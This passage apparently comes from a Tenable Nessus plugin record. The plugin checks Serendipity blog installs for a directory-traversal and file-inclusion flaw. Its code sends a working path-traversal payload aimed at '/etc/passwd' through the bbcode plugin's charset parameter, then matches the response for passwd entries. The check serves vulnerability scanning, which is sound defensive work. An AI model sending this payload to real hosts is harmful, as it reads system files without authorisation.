an\nunauthenticated, remote attacker may be able to exploit this issue to\nview arbitrary files or to execute arbitrary PHP code on the remote\nhost, subject to the privileges of the web server user id. \n\nNote that several other scripts included in Serendipity are reportedly\naffected by the same issue, although Nessus has not checked them.\" );\n script_set_attribute(attribute:\"see_also\", value:\"https://board.s9y.org/viewtopic.php?f=6&t=7926\" );\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Serendipity version 1.0.4 or later.\" );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(22);\n script_set_attribute(attribute:\"vuln_publication_date\", value: \"2006/11/30\");\n script_set_attribute(attribute:\"patch_publication_date\", value: \"2006/12/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2006/12/01\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\",value:\"cpe:/a:s9y:serendipity\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2006-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"serendipity_detect.nasl\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\", 80);\n script_require_keys(\"www/serendipity\");\n exit(0);\n}\n\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"data_protection.inc\");\n\nport = get_http_port(default:80);\nif (!can_host_php(port:port)) exit(0);\n\n\n# Test an install.\ninstall = get_kb_item(string(\"www/\", port, \"/serendipity\"));\nif (isnull(install)) exit(0);\nmatches = eregmatch(string:install, pattern:\"^(.+) under (/.*)$\");\nif (!isnull(matches))\n{\n dir = matches[2];\n\n file = \"../../../../../../../../../../../etc/passwd%00\";\n r = http_send_recv3(method:\"GET\", port: port,\n item:string(\n dir, \"/plugins/serendipity_event_bbcode/serendipity_event_bbcode.php?\",\n \"serendipity[charset]=\", file ));\n if (isnull(r)) exit(0);\n res = r[2];\n\n # There's a problem if...\n if (\n # there's an entry for root or...\n egrep(pattern:\"root:.*:0:[01]:\", string:res) ||\n # we get an error saying \"failed to open stream\" or...\n egrep(pattern:\"main\$.+/etc/passwd\\\\0lang/.+ failed to open stream\", string:res) ||\n # we get an error claiming the file doesn't exist or...\n egrep(pattern:\"main\\(.+/etc/passwd\$.*: failed to open stream: No such file\", string:res) ||\n # we get an error about open_basedir restriction.\n egrep(pattern:\"main.+ open_basedir restriction in effect. File\\(.+/etc/passwd\", string:res)\n )\n {\n if (egrep(string:res, pattern:\"root:.*:0:[01]:\"))\n contents = res - strstr(res, \"<br\");\n else contents = \"\";\n\n if (contents)\n {\n contents = data_protection::redact_etc_passwd(output:contents);\n report = string(\n \"\\n\",\n \"Here are the contents of the file '/etc/passwd' that Nessus\\n\",\n \"was able to read from the remote host :\\n\",\n \"\\n\",\n contents\n );\n security_warning(port:port, extra:report);\n }\n else security_warning(port);\n\n exit(0);\n }\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}